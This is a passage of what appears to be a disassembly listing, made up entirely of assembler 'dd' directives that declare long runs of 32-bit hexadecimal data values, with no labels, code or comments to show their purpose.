		dd 0B7081A56h, 4C592D8Fh, 2BBFADA8h, 213C54CFh,	0F1858C82h
		dd 9D72291Bh, 2FB2025Ah, 2E1B8D4Ch, 0AD840E4Ah,	0A1922EFh
		dd 26F1B529h, 64659190h, 40580422h, 524CD454h, 7C5B2518h
		dd 0E86521h, 0BCA8514Fh, 0CE0445AAh, 2E71BD0Bh,	482A56B5h
		dd 0A7A436F2h, 121B2108h, 9E47C857h, 41014776h,	5F668698h
		dd 3543A583h, 80BBC8FEh, 4AEFA3F0h, 0EBA6EEh, 0C69D3834h
		dd 978A1779h, 0ED760930h, 40CC6F9Dh, 99283625h,	0D840E569h
		dd 502F25C3h, 2D6804CDh, 98037F60h, 0F0D24E68h,	0E25B97Bh
		dd 0C83DEB09h, 5A9D31DFh, 615009CDh, 2542B156h,	0A8F30E0Fh
		dd 0FA3F8026h, 4CDF3467h
		dd 2B20A901h, 0C0055B74h, 5A96CB81h, 0D2C42DC7h, 0A29102FAh
		dd 0D9565BE2h, 0F1746FEh, 0ACDEE88Bh, 2727460h,	0B15947E0h
		dd 0D55661B2h, 4644Bh, 60590414h, 7D683938h, 1D7ABBB8h
		dd 6B2B5F81h, 24843E3h,	9FD14C28h, 0E9DD56FCh, 0F4417EEDh
		dd 0CA2066F8h, 80F58801h, 897ED71Ah, 8C1FD5A8h,	5D62C26h
		dd 73206B6Fh, 0B9BDE956h, 0AE3A08F1h, 5953430h,	78679502h
		dd 5B38921Ch, 0F9F1A5E6h, 8971F86Ch, 0BA50109Dh, 8601D49h
		dd 6F2740A7h, 0EAD87DD6h, 0B886C016h, 55FA2362h, 75CD7EBAh
		dd 13FDE960h, 0E1FF2FB8h, 0C1C0BFEDh, 12065902h, 0BFEEEB27h
		dd 7DB53260h, 72C28203h, 26511D56h, 8C9F8614h, 6B1C9495h
		dd 0B7572230h, 1BD98383h, 0EAF2667Bh, 0CC51375Ch, 0B86DF914h
		dd 9B3F00C7h, 1B200387h, 379F60F9h, 0F649011Dh,	6E963092h
		dd 5C2F3A82h, 3195614Fh, 6A3F1D02h, 195109A8h, 0CFCB8192h
		dd 482E09E4h, 37AF6B3Dh, 35C80013h, 1CE2636Eh, 32A8615Bh
		dd 656E04D3h, 9DF8120Eh, 0B7EB125Eh, 0ACE85966h, 546B00A3h
		dd 5E23D927h, 0A9DAADFh, 21083639h, 46552729h, 0FFB72D3Fh
		dd 53AD2E73h, 0F43D50DAh, 55F6095h, 2D0296B9h, 4FC031EDh
		dd 0BB5EE51h, 686FB986h, 0B620100h, 9EB1757Ch, 5878D307h
		dd 4799B0E0h, 0D764B55Ch, 0B9E26E01h, 0C0C9CB43h, 0C1FE5F02h
		dd 589A4F02h, 61B7755Ch, 84F6E317h, 2ABB25Bh, 8D29DC8Ah
		dd 569E4AB9h, 1B46D692h, 0CCA67A00h, 69C78221h,	54561F32h
		dd 122378E5h, 52AEE95Fh, 0C2B39B4Ch, 5C5BCA41h,	81576590h
		dd 0F2F440E6h, 31A3885Ch, 2DA4D278h, 87567C4Dh,	0C2543F0Bh
		dd 25A15692h, 0C044EDF5h, 45B474BDh, 0E9C8E802h, 8F8692A4h
		dd 712FE98Dh, 28035C9Fh, 0CC32D78Bh, 0FD94978Dh, 0A58F52ABh
		dd 0BAD0549Ch, 0AB04497Ah, 83D87023h, 12FC81FBh, 7296B9B0h
		dd 0DC6C9E50h, 0D7450D01h, 9649183Ch, 0EDACC83Eh, 68713500h
		dd 58CD9165h, 0B3F909EBh, 0C9711E36h, 7CB5C2AFh, 76E0E2C4h
		dd 0F9125B51h, 0B34E4000h, 0C68E1Dh, 9D1B4B94h,	3CC4C368h
		dd 0DEB36D5Ah, 0FD8A5304h, 0F0BD975Bh, 316D23C7h, 9758516h
		dd 9DA0BFACh, 90812AA1h, 0E530BF3Ah, 0B46050F8h, 0E6611FD4h
		dd 9EEA279Dh, 46D66C5Eh, 0C2BD001Bh, 37770932h,	0B12FEBFCh
		dd 598BA848h, 4E8BFB4Bh, 1C252662h, 31712D5Ch, 5557C114h
		dd 41E90120h, 0C94B9E2Eh, 39AD80D3h, 4A9D31F1h,	0B64012DDh
		dd 1823BE11h, 73A36601h, 0FD688AEBh, 81020420h,	0B4FD0EF3h
		dd 2521561Dh, 0B110F65h, 53DDFA74h, 0F8CDD329h,	19A66A91h
		dd 43209BE0h, 7924CE90h, 4F27A692h, 7243C08Bh, 2112AB47h
		dd 0B3FB9C27h, 0D6F302D6h, 5C253789h, 98B6812h,	7E5407B9h
		dd 950258EBh, 50F9EA18h, 770DBB04h, 10A8579Ah, 0E058B64Bh
		dd 1A2B9936h, 1917820Fh, 79BE9075h, 0C931009Ch,	0EF5C48BEh
		dd 6C00FA22h, 0D826DCFFh, 56E619CDh, 0FB5195F8h, 0DD2A04C9h
		dd 0A9B5F30Bh, 2BA65AD1h, 60301BB2h, 0E6CA00BAh, 88467B3Bh
		dd 5D2DB509h, 0DB686816h, 0DDCB4A2Dh, 2B6A2ED4h, 7264DA00h
		dd 4F965932h, 5B17FA2Dh, 2526243Ah, 0BCCB449Ah,	62F91825h
		dd 3C66D5C4h, 82B10995h, 5568BAC9h, 70EDAC3Ah, 8950C640h
		dd 29DE268Bh, 0BC522F4Bh, 374B9994h, 0FFCA83D6h, 0E688BDEAh
		dd 0F92582D4h, 0E72D4D6Ah, 0FE114032h, 90B7483Fh, 0FACF4062h
		dd 367E00D4h, 0D33D62F3h, 240BC526h, 5C2A2CBFh,	0DD8ED699h
		dd 0F130E300h, 217CDDCFh, 0C5925112h, 0CA3E20F5h, 0ED03E066h
		dd 4D9676EEh, 0A85B5A52h, 2F7141D9h, 0EFD6EAB2h, 60F03D22h
		dd 0B7BCAEFDh, 0E6A0DE58h, 0F41B5C78h, 8AAA962Fh, 0EDD05618h
		dd 2E0AE534h, 0A3A95934h, 600D1B8h, 98287F6Fh, 4B3EF097h
		dd 227B8A42h, 98779D34h, 0CB619D6Fh, 0A0A5967Dh, 5A35A250h
		dd 309642ECh, 2F158F58h, 6B9FF00h, 2AC54487h, 750C18E5h
		dd 0EF81445Fh, 76563329h, 16E7F912h, 0A0E1A64Ah, 55E555Dh
		dd 0D5438399h, 0BC302575h, 1DF910F5h, 4D5D6127h, 964C498Ch
		dd 65017725h, 0FD8C10CCh, 7EF610Ch, 4B9916B9h, 0FAB3356Eh
		dd 0ADE5CA20h, 4EB00118h, 0F586F9A4h, 0DD742B96h, 0B309623Fh
		dd 2153C69Ch, 2EBBDBD0h, 25F1494Fh, 2C0703C4h, 3BD6B5BEh
		dd 82AC09C9h, 550ED506h, 0FC94169Eh, 7D52004Bh,	5FD050Bh
		dd 99D0117h, 87BED1Ch, 322AE1B5h, 0E15DF46Ch, 0C1C9DAE9h
		dd 0EC6E6Fh, 97C83685h,	6A6EF20h, 0B98D096Fh, 80EF652Fh
		dd 36A0262Dh, 13688AFDh, 4E5DCD4h, 0B91CF1C0h, 50F5C425h
		dd 86206B9h, 94765B56h,	0C94AFB90h, 36E03F07h, 654D9F6Ah
		dd 0B13ED1E1h, 0B4FA4FCh, 0A333E218h, 9D73D7Fh,	3AF414D2h
		dd 311DBDC1h, 6FFC7140h, 4C80FE22h, 0C0171EF3h,	0E251B605h
		dd 2A317819h, 0AD85877Dh, 2DB7E25Eh, 2E7D4F61h,	7C662822h
		dd 0BB380060h, 18492337h, 0A0C727F9h, 0E1988C9h, 787F3FCBh
		dd 2D696EB8h, 912D3797h, 9698514h, 0D51C98C2h, 1A9E7396h
		dd 0BE700D4h, 9E363387h, 6A12C853h, 3309D1FFh, 8C4FBh
		dd 129F05DDh, 10921630h, 0C2979A0Fh, 0DFA06014h, 4B762B7Ch
		dd 25358A0Eh, 5BB24654h, 556E02h, 0BA805F72h, 97505B6Ah
		dd 0A28E323Dh, 32B22BF7h, 4D024EDh, 0B8F1E904h,	70E4E714h
		dd 0D3C29A25h, 0A64A59ECh, 6CEFE0DEh, 165825A2h, 8AB62CC6h
		dd 3345E04Eh, 7FF958Ch,	0FD90E28Fh, 3F2D1074h, 6EE36050h
		dd 200023A7h, 0D2E721EBh, 0A915A47Eh, 0F615Ah, 346046Bh
		dd 4A90C391h, 88B274h, 4F44C128h, 8620B8h, 5FDD983Eh, 13626145h
		dd 52A83702h, 0DC5E5A7Bh, 6BB7AF61h, 2191F101h,	0FA3ACF8Dh
		dd 9D89C230h, 10940ADh,	17408572h, 56129761h, 90D05ADBh
		dd 7CFB0003h, 0F953B127h, 6C9B800Fh, 0E0AC0492h, 0B960CCA4h
		dd 0AAA1021Eh, 0D4E81104h, 0F6D35DB9h, 5966A0AEh, 97C990A2h
		dd 91094F37h, 74F101h, 0D749EBC8h, 44003050h, 68720A0Ch
		dd 20F9856Ch, 314BFC45h, 398D0F45h, 0BD099B90h,	8A084B85h
		dd 1121086h, 5858904h, 0E1FC2302h, 8964E5BDh, 0A2705AE6h
		dd 248705B5h, 83C09BF1h, 0BC79DABh, 71E4534Ah, 7F9F802h
		dd 52D7667Dh, 1022B3E1h, 0ED688900h, 0C5FFABF5h, 98C200B3h
		dd 0C366151h, 90956B1Ch, 4933DE8h, 0D394EE0Eh, 48A7B82Fh
		dd 0CBA5399Eh, 0FDB3A798h, 412B0771h, 0B0CF81A3h, 0A5132EEFh
		dd 0A5B0C212h, 0F09F848Eh, 8B1A407Dh, 0F781D100h, 759A7F64h
		dd 2C0250E9h, 20B7B8A6h, 58C122A1h, 598DDAB5h, 0AA53C46Bh
		dd 4307A122h, 8E1CEA32h, 93EC1609h, 5A10D280h, 28002D7Fh
		dd 1B2304B6h, 509009F5h, 404DBFDAh, 0F9165B12h,	30AAD03Bh
		dd 798D318Ch, 389146B4h, 0B7FE8B04h, 0AED8EE68h, 88FF4BBFh
		dd 0E18B22B7h, 0A5F1D8B7h, 0D2FE1543h, 1E24F988h, 82E068BFh
		dd 12FDD475h, 10A3E6BDh, 854BF851h, 0BB6A0054h,	645D79FFh
		dd 0C9853109h, 13AF50Eh, 0D9F2FA8Bh, 8D5B913h, 77E10522h
		dd 0FC5C6164h, 0A8561D0Eh, 7074FB67h, 9176054h,	0C7B4059Dh
		dd 0F3615FFEh, 6D247EE3h, 71AD1D13h, 1814F999h,	0BB56004Ah
		dd 27FCB450h, 0A509BF5Fh, 7172E4B3h, 0F960E2A5h, 53008246h
		dd 17810597h, 123962h, 0DDAD28DAh, 0DC605D02h, 2D876150h
		dd 6CC2D15Fh, 73B2552Eh, 0A1E0446Dh, 14E7D8F0h,	8C810F13h
		dd 0BB6C85D3h, 9D89FD9Eh, 25BBAC71h, 6680C5F8h,	0E528E453h
		dd 6A38A085h
		dd 0C533A56Eh, 79E22742h, 809FB77Dh, 0C76BE4B7h, 0C5483638h
		dd 9529C507h, 0A94552EFh, 0DEE59D30h, 0B99D4138h, 36CD2A26h
		dd 67A83629h, 76D10501h, 88AA21A4h, 0BB69C06Eh,	0E259B09h
		dd 81CC564h, 8B890504h,	4E1B71D8h, 7F6F054Bh, 595C5260h
		dd 0BD762508h, 0AA121CC5h, 2EBB5BE4h, 43F4577h,	0AC4F8FBFh
		dd 3C9B4BDBh, 82626084h, 0EEAC71C1h, 2EE1196Ah,	384E398h
		dd 83DD7464h, 0CC9854E7h, 0F907096Ch, 3AC74DB1h, 0E4C8F61h
		dd 0E917152Eh, 0A9FAA492h, 0EC170149h, 0DF0029Ch, 0D4C028F7h
		dd 4FAD1854h, 0B64D40E6h, 0DC5837D7h, 72E25A3Eh, 1F258AD1h
		dd 7527E3D3h, 4B02FE4Ch, 21B10507h, 62F7562Dh, 0C0796050h
		dd 78CD3100h, 18C5C77h,	0CE23C96Ch, 3F997B04h, 75684220h
		dd 0D1A017F7h, 4F2248Bh, 811CFEF5h, 4429D978h, 754CC778h
		dd 0E2AFFC23h, 0A3B37553h, 7DF03BC7h, 0EA3EB72Fh, 32D9BBh
		dd 8AFFAA1Eh, 0EC007C92h, 0F23BEF6Bh, 0F6B59AFEh, 95FC1CD0h
		dd 4B5F248Bh, 0C2585B90h, 2A857F00h, 7A10B225h,	789A0383h
		dd 0F5DA116Ah, 0FAC40D0h, 848A894Ah, 68AA8101h,	0C2A0C0F4h
		dd 5DC806E3h, 6700FFFDh, 8D658C23h, 0B3585B4Bh,	89BB7805h
		dd 509BD17h, 8DDF4A90h,	0F7B5BFD6h, 921A91h, 7914C60Fh
		dd 10B5E865h, 129F709Bh, 0E3B5D6D7h, 0ADBC4F56h, 0B94B0238h
		dd 3FEBCA1h, 0EC9E1995h, 849A472Dh, 995861F7h, 5EC8CA2Ah
		dd 3339416Eh, 12B17A26h, 0B1795275h, 507B3F56h,	9B12D17h
		dd 83D716C6h, 0BE0FF3D8h, 4C05BD23h, 0AC69D49Dh, 49BFD261h
		dd 0B555EA02h, 801B910Bh, 5797490h, 0BCCC0533h,	0FA0689EEh
		dd 99DEE09Ch, 0B16D4B26h, 2B65FA40h, 0C8420879h, 0D2800FE8h
		dd 2C8061B3h, 88A30075h, 9F15BF23h, 0D7263162h,	0C5600F50h
		dd 0D07E66h, 56FECC0h, 43D4AD69h, 0CB5F7438h, 29096385h
		dd 10C8725Dh, 4E33B59Dh, 0AB0046F3h, 42E6437Eh,	8F1DBABFh
		dd 0D512ED77h, 0AB1F65BFh, 25EEBD84h, 0B879F9ADh, 0B95D27A5h
		dd 8508327Ch, 7E62250Ch, 9252BDD5h, 0BB1EA0D3h,	0D568AC02h
		dd 7005B82Ah, 0AEBCF9B2h, 0A5A7299Eh, 58694EF4h, 0C080AF7Ah
		dd 9008EDCDh, 50FE6AC0h, 97850F56h, 5B9FCEF9h, 7119D3E5h
		dd 805C6CC8h, 0B734361h, 4A90963h, 0B55575DCh, 8016915Fh
		dd 39382B5h, 594E9Dh, 0C8B0BBDAh, 31164304h, 1B8341BDh
		dd 443EE061h, 0E3324A3Ah, 0AC7ED50Dh, 8A61055Dh, 0E81248C4h
		dd 740D87DBh, 547E02A0h, 1B550FC8h, 8062C037h, 82D788CFh
		dd 5C924EEAh, 89385120h, 0FF850943h, 48E96D22h,	89F2BDFDh
		dd 540B0DFFh, 600050DAh, 0CDFB40B8h, 2DB70F16h,	3A5B61D2h
		dd 8115115Fh, 0B58953CAh, 8C34952Ah, 640098EBh,	407B2D38h
		dd 545CDFh, 0C6AB36A6h,	296CECEFh, 87E6AE12h, 0CC8E07F2h
		dd 0E86CB997h, 9B800086h, 3BD7AAE6h, 8AB5A85Ah,	985808A9h
		dd 0D84F9303h, 0C205C1FEh, 8110CF0Eh, 0A7136CC1h, 2D3C297Fh
		dd 259EA86Ah, 1DEC52B3h, 2751B510h, 313FA8A5h, 0C5BD1917h
		dd 101657C2h, 29599793h, 96A18DC4h, 57AF3C84h, 0E7B71FC4h
		dd 2AA0009h, 4DA06374h,	62D2A2h, 1DCFDDCh, 9A618DCBh, 0CC145DCEh
		dd 0ABAC33F7h, 0EC7EE39Dh, 33CF43BDh, 291A1D84h, 2EB18D01h
		dd 0F7F81992h, 9CF64A1Dh, 0D7DFDA0h, 48EFA204h,	0C5470BE9h
		dd 0D9801BB4h, 0F3BEC291h, 0E29A6A25h, 5DB8F52Ah, 24003A58h
		dd 0FF791EFAh, 4EA8C983h, 8CCB3404h, 5D00F579h,	0DBD52149h
		dd 0ECD88ACDh, 0F9D11216h, 9D44F45Fh, 0A531FD21h, 0B07078DBh
		dd 2DCFFED5h, 4242CE56h, 326F645Ch, 0BF6A70ABh,	0F609F40Ch
		dd 938D3138h, 0FC7C2782h, 0FA92A2FBh, 0A64BCCE7h, 0ABFDA016h
		dd 18930987h, 375496E6h, 0CF8F0240h, 6FC008Bh, 255752ACh
		dd 5001C01Dh, 7F8CA6BBh, 0BF4C9644h, 789C2E4Ah,	661B002Dh
		dd 5D31E8E4h, 910AB59Dh, 17C941Ch, 589156D8h, 0BBE80F9Fh
		dd 27DA1218h, 1ECE307h,	3DCFF381h, 292E62CAh, 12A00CDh
		dd 448498Dh, 92958BEFh,	967260CCh, 0B7B392A2h, 0FE129B53h
		dd 1AB2B0F6h, 4AD9330h,	0EE38CF26h, 0D2D6B99Eh,	0FFA8A5A9h
		dd 13ACDD00h, 5EE187D9h, 1A9E5B4Dh, 3FDFAC3Fh, 0E367123Eh
		dd 0D2CA4AEFh, 7A4B6438h, 39C0090h, 0E563A767h,	42B414EBh
		dd 2812BF75h, 4BC9E34Ch, 63F20204h, 1445C681h, 6CFBC602h
		dd 6DC45FD2h, 60B03130h, 0B52397D3h, 35A7C047h,	42043954h
		dd 0E2E3DC2Ah, 4E5500D8h, 3641FD37h, 492200ACh,	0E7B13378h
		dd 2C7A6962h, 8EE95012h, 0AC5BBEACh, 0DE4FC0C8h, 2734561h
		dd 99303BE5h, 0A1FBC18Bh, 4FCB1C70h, 93602050h,	0EB1238C2h
		dd 0C1E3E419h, 501D4949h, 88F01260h, 102C5986h,	0C2C9D1DBh
		dd 7849537Bh, 6C256613h, 0F0958FCBh, 0E14CE04Ah, 7DE6054Ah
		dd 3EBBBC00h, 241329FBh, 0C587BD04h, 13BFDBCBh,	0AAB195D2h
		dd 0D52924C9h, 0D4BF5C00h, 2955A615h, 0D921A503h, 46E03D5h
		dd 228043F2h, 0B8CDFD06h, 0CA0B006Ch, 0B8BFD24Dh, 5C0179F2h
		dd 0AF19E381h, 162E7116h, 0E0F6E6F1h, 0E7F0D6h,	0BB60527Bh
		dd 58EB2B4h, 48C1B8A2h,	0C4800417h, 558C0AF2h, 0B62AC452h
		dd 4FA0E0A0h, 51912464h, 442516B3h, 9E6A5F79h, 0D48580F0h
		dd 5E1A13Bh, 7ACF98F0h,	0FC7D95D8h, 49BD1976h, 3B20295Ah
		dd 7969732h, 4231CD97h,	4F5A1C5h, 8BC2B47h, 0E36AEFB4h
		dd 60B33F7Bh, 0F250E802h, 1FC32D30h, 0C7082CDAh, 13D59504h
		dd 9A5234AEh, 0B8D6C019h, 952B7811h, 165A3270h,	7B887BB3h
		dd 0C56010A4h, 3F68451h, 5A2D11E7h, 292FB6Ah, 9089DC79h
		dd 3E881951h, 0C21FF32Ah, 5790505Bh, 2C054DB7h,	45DBDDD7h
		dd 32C11688h, 72B94F9h,	40ADC23Ah, 0F864E2EFh, 4CE97812h
		dd 4D7638ABh, 73158041h, 0DCAF28EFh, 0A353C715h, 90EBCD1h
		dd 30D41C87h, 0EA0057F9h, 0A44CADD1h, 294500D7h, 40BBFE75h
		dd 0C520961Fh, 98F412D4h, 0AC81B95Bh, 60008C1Bh, 0A84B9328h
		dd 2DED5C26h, 35549D0Bh, 32EA9092h, 0E95D5354h,	8DF1509Ch
		dd 0E350286Bh, 30C8C900h, 98A4BFECh, 43020153h,	0CC61C74Ah
		dd 90D9F0EAh, 25DC5C9Ch, 3FECA382h, 53FDFC4Fh, 54E921D2h
		dd 903630C3h, 83EB1238h, 7ECBD242h, 95BF9881h, 5F772520h
		dd 0B59F1CEEh, 0FB9006Bh, 27AB5D4Fh, 0BD2370BFh, 35809F9Ah
		dd 4F8C98AFh, 37FF6A25h, 0FD760051h, 5217714Ah,	108C4000h
		dd 57D169BBh, 0B1600114h, 0C985011Bh, 37B23A25h, 0EC0EA911h
		dd 0D82F4BDFh, 558A0C40h, 3319BFE6h, 0B077DD9Dh, 4171E26Ch
		dd 0D8A13A13h, 904B252Eh, 0E42D46B6h, 9482714Eh, 60FC5ECEh
		dd 2A11B503h, 4BE4C5D2h, 46578AD0h, 1D519D9Bh, 4D2FA10h
		dd 1604556Fh, 12916314h, 35F05676h, 0BDDFF4F5h,	0C831197Ah
		dd 5FFE4053h, 813CD1F1h, 0D489D79Eh, 9C0FEBEEh,	0A15A10BDh
		dd 7D9E3DF1h, 0C6FD854Eh, 7E56BB02h, 0F8E03D4Fh, 7D254695h
		dd 69565651h, 23006344h, 26E5C42Dh, 12C66537h, 0F4B85B71h
		dd 29881124h, 17AD22BDh, 5D714E54h, 0A26B1945h,	96313A3Eh
		dd 0D2AD2775h, 0A8BC3388h, 0E9715A5h, 70BA361Dh, 6B20F370h
		dd 916E131Ch, 0B745AD00h, 0DB0370Bh, 0F4CDF5F7h, 0BF780338h
		dd 3F4029D0h, 0D13AB397h, 6F3E2203h, 667202B7h,	7722B2BBh
		dd 6404D6Fh, 4E74251Ch,	0C43FAD3Ch, 0C441465h, 85D21809h
		dd 6C909701h, 2AE7D8B3h, 33A4930h, 0EA4B00E5h, 785661F1h
		dd 400154B6h
		dd 389C0A7Eh, 0F87C20B5h, 0B920E08Fh, 0C02BAA19h, 68F3909Dh
		dd 4EAF02C7h, 0AD3BE069h, 7050C58h, 0D22B5F8Eh,	0CFC4679Bh
		dd 0ED30EA96h, 4BB9ADCh, 0FF4B98ECh, 156DAFA5h,	62A86D29h
		dd 0DA5F2C02h, 74087073h, 95B7272Bh, 9D035A02h,	98C7019h
		dd 2279B531h, 744B9B79h, 4601D47Dh, 60A970BAh, 0D26BB509h
		dd 6C7561DFh, 8405FA9Ch, 0A69A519Dh, 4731090Dh,	81588979h
		dd 0D90509F7h, 0B95C57B1h, 0A5D804DCh, 0BC6CBC6Ah, 2E29A2A4h
		dd 0D4D2B589h, 14AA890h, 4D25EADh, 0BC0231B9h, 0DD85A18Eh
		dd 0F78000C2h, 0E125FF21h, 0E61E5F9h, 0E9130472h, 2FCDBC49h
		dd 0B6D9DB25h, 0E73BA4A0h, 87CA4BC7h, 0AFE572Dh, 0C1F402F6h
		dd 2658D29h, 45DB9CD5h,	79B2AF1h, 0B5189880h, 140B3080h
		dd 5360AD33h, 5DCB70A1h, 5769CF0Ah, 0F70487A2h,	0C9BC2B63h
		dd 0B8EBA94Fh, 342939E2h, 43B1A61Fh, 0C781D0DEh, 2C80BBF0h
		dd 0C6B18A97h, 98F0EDEh, 0F372FD9Dh, 124922CDh,	0A98ED780h
		dd 8C1BACC6h, 0D76D4D00h, 7CE4EA94h, 0C8E84AFEh, 30007675h
		dd 0CC0BBE0Ah, 120E3F14h, 0C84D19E2h, 3AF38943h, 5B2D3CA7h
		dd 946AB8D4h, 22538513h, 82DF2AAAh, 0F42FB7FBh,	0CF1C60A1h
		dd 974FE1DEh, 900218E3h, 5BB8765Dh, 0F2998F70h,	716654A5h
		dd 0BC2B696Ah, 0AD630F6Fh, 4DA74876h, 888DB068h, 0FA33B3F6h
		dd 0F9B87C81h, 9B3E0996h, 69D28248h, 1590F77Ch,	0B00A653h
		dd 572551D4h, 2990CEh, 264CA7EAh, 0B3D267C8h, 665B9925h
		dd 0A174A056h, 7B772535h, 0EDA5CD73h, 998B40EFh, 0B7047436h
		dd 0D6E94F20h, 65AB4995h, 236B8235h, 46DE4F5Eh,	11250119h
		dd 0A3882343h, 3D00AA63h, 0F0B1329Ah, 0AC4B4E48h, 742E4DCDh
		dd 0A3FCA648h, 2F30E1B4h, 4DFBE02Ah, 9E891F40h,	7A01DE28h
		dd 2577BB06h, 0DC2620BAh, 0DAB96001h, 0F808544Fh, 2F13457Bh
		dd 44AB6172h, 2521BD56h, 0F0B120AEh, 0CD7DF357h, 2D90DD9Dh
		dd 3DE5820Fh, 992BC016h, 138F96h, 8634D032h, 0B7505FDAh
		dd 18BA0B7Ch, 644F6DB5h, 345B6017h, 0B34B0023h,	60A06874h
		dd 6987CC4h, 4F500844h,	4B82F352h, 635F1380h, 0BD7C4ADBh
		dd 266B87Fh, 0B074D98Eh, 0CD558DAAh, 601B44BCh,	55A3E38h
		dd 30B5485Dh, 71BF0433h, 6500B03h, 4E311664h, 25682060h
		dd 0CB7858ADh, 78AEE300h, 162E065Eh, 0B2EAD35Bh, 29BF0910h
		dd 596ADBC3h, 5EAB1815h, 1B8B092Bh, 82C0E2F6h, 5F85E2h
		dd 2A268E3Dh, 2C94C1D8h, 0CF6E2917h, 7112BDFCh,	4339ABF8h
		dd 0A295123Eh, 10138EECh, 23428C5Bh, 0A119D19h,	40161D81h
		dd 72CF9D95h, 185149h, 5C719589h, 85E15D29h, 0B4E76AE1h
		dd 0A5B3D6B0h, 0E8AED30Fh, 0B1AFD46Bh, 0B72F04B1h, 9A7DA0B1h
		dd 90777F2h, 2694BB66h,	53920151h, 918D9E80h, 0E253955Bh
		dd 401C4DAFh, 0DD8B7E23h, 391B6CC5h, 0B5E54EBFh, 0EDD2EDF7h
		dd 370262DCh, 9178E0Fh,	0C4B0B971h, 583764DBh, 0EEC08596h
		dd 8C46B76Ah, 7BB25E00h, 0CE7D447Fh, 0B488097Eh, 38898389h
		dd 0DFB512D5h, 96E9ED10h, 0D5AC1F07h, 0B840D438h, 17FEC317h
		dd 0F13148F9h, 0C8C83A3Ah, 55FD3FE3h, 0AC749B92h, 639E4840h
		dd 1296F9FAh, 0F63D919Dh, 301DB254h, 0D60091ACh, 0D0BBEEBFh
		dd 2D1C7007h, 0DF5BDC8Ah, 41ABEDA5h, 7F892B7Eh,	292B6EF1h
		dd 0CBC56EE7h, 81D670AAh, 4112E2D7h, 0BAE351B0h, 0ECBC804Dh
		dd 0DD6A4662h, 0FC422929h, 2D23BD5Dh, 90AFA35Ch, 1FE79553h
		dd 0C5FA63C6h, 0EA308B73h, 4DC2AD09h, 73FCEBC2h, 0AB8CFC17h
		dd 0F85B4E61h, 1286D47Ah, 14F177ADh, 0F56E7Ah, 7ADC938Bh
		dd 259D29B7h, 59EC1CB9h, 238D4D00h, 883C6772h, 1AF500B2h
		dd 0DF81C6CBh, 0CC136B08h, 60AB5B6Fh, 0CDDBD97h, 0E472ED95h
		dd 20C601Ch, 0F8A501F6h, 3D07F3D1h, 90E63B6Ah, 0EF591DF0h
		dd 80AFF90Bh, 914A226Ah, 0C1705E1Eh, 7D50CABBh,	8C14AC2Ch
		dd 0EF0FA77Ch, 0F2FCAB74h, 4569F5E0h, 0F0EA266Bh, 47B6CF6h
		dd 3E72B861h, 6912AFECh, 1994EDBDh, 0C0BD1622h,	952A8921h
		dd 7008D6Ch, 0B157CEB4h, 25EA3DE3h, 577B61F3h, 986B5AFh
		dd 8279B218h, 6DB93E44h, 790BF1ECh, 0FD8DF758h,	0F59D0031h
		dd 25E20614h, 0A8E41B29h, 0C5694922h, 358ED80Eh, 0C6DBAF90h
		dd 0CA86A4C1h, 0CF8EF8FAh, 56769069h, 3554A539h, 54847125h
		dd 9D0EE097h, 2A35039Ch, 558509F5h, 3028BA9Ch, 26F31281h
		dd 2D98F37Bh, 712E9051h, 0CBB20E8Eh, 1B4B2E9Eh,	3600C5E4h
		dd 25C1EB80h, 4235447h,	70E2AF2Bh, 0A1C8FB61h, 0CA5B4B5Fh
		dd 0F97521BFh, 58CA1815h, 954B5C03h, 877AEAB5h,	0A673007h
		dd 0F6E7F0DBh, 374B384Ch, 40C1CFDEh, 2BB6C5A8h,	728969F0h
		dd 0F3044A85h, 11E9C47Ah, 0EE48535Fh, 3FC7EDB3h, 1BC0AED7h
		dd 8E945E7h, 0EDB48997h, 0F558C043h, 0D8016E28h, 8B5BAC05h
		dd 5FE957C1h, 0E1A2352Fh, 407E14Dh, 2DC4E887h, 0C0906105h
		dd 0B0B8BF4Ah, 3572F22Eh, 0A38BBB07h, 2EC41B15h, 0D02804FBh
		dd 4FE6AAB6h, 0B05D2BE2h, 0CC91BD41h, 1D116A8Dh, 9D190A43h
		dd 612BA179h, 0D20CFE1Ah, 0E0905A9Fh, 6C09DFABh, 787EC29Ah
		dd 83379D6Dh, 0B6EAFE00h, 5F8486D6h, 0D0E489ADh, 8700F4FDh
		dd 43B88812h, 2C4FF8h, 50D47C1Ah, 70BB9097h, 1C5A0C1Eh
		dd 0CA3CEA2Ch, 4D81A7DBh, 0CCCA79E3h, 0B662024Ch, 61296046h
		dd 65072BCFh, 4252EB95h, 3C3631F1h, 0EDFDC6F2h,	6F6CC9D2h
		dd 8E36A300h, 0BBC12069h, 0EAE11F5Dh, 20E3682Ah, 5F5A1B19h
		dd 1DAC79ADh, 7607CDACh, 7D653C72h, 0BCE09420h,	25709A22h
		dd 0D05E616Dh, 0B5015360h, 251A4239h, 0C09D6DD1h, 0BAE51063h
		dd 0E30F1D04h, 9681F543h, 382F0E39h, 0F5895582h, 80A1DE2Bh
		dd 567A9539h, 0BFE10703h, 0CF62DAA0h, 12E95BA2h, 297ED120h
		dd 0FCAC3B18h, 0DA7B2F00h, 0D7D37CA7h, 0CA6EAA04h, 0EAE550D2h
		dd 2978E41h, 25F5576h, 64E9AC96h, 48A39C57h, 0A94AADA9h
		dd 1628BC24h, 0B7E2CF3h, 0A4DF8565h, 6EBBF85Eh,	3A8B135Eh
		dd 1A910304h, 4D079DABh, 6371E4D2h, 0C4614F00h,	1FDF3999h
		dd 3218047Fh, 0C5A65137h, 0B987AA6Dh, 0C05F8893h, 0BA6DB589h
		dd 4CC5950Fh, 4A26758h,	0B9138C91h, 5684FAB2h, 0A5C6E8FAh
		dd 0B293EBBCh, 7D9D80A1h, 13C7076Dh, 618E0FD4h,	2080593h
		dd 20C5555Bh, 97566050h, 13BC5C10h, 9D54A900h, 0B33A114Ah
		dd 0E5F800C9h, 0AFA4E4D2h, 6109B145h, 82FF6A96h, 0E42DAD40h
		dd 1F592E37h, 0D4142B0h, 453F9457h, 0F0D60C0Ah,	0C3652200h
		dd 0C17A5E04h, 625900A6h, 727DE0DBh, 0A1B3B031h, 97760200h
		dd 67E14Eh, 5D96E7E5h, 0B1E6402Ch, 15755C73h, 19BF7000h
		dd 0E4482F59h, 2515B071h, 52790C69h, 2650C691h,	12E40EDh
		dd 2FE7DDECh, 0BFE0D25h, 0E45C233Dh, 0FC2EE851h, 8A01F9E6h
		dd 5F030325h, 0A0044228h, 97122D20h, 33D62909h,	0B6D4BF80h
		dd 628BC82Bh, 204928D1h, 98B86CD5h, 0B9F15205h,	2C598508h
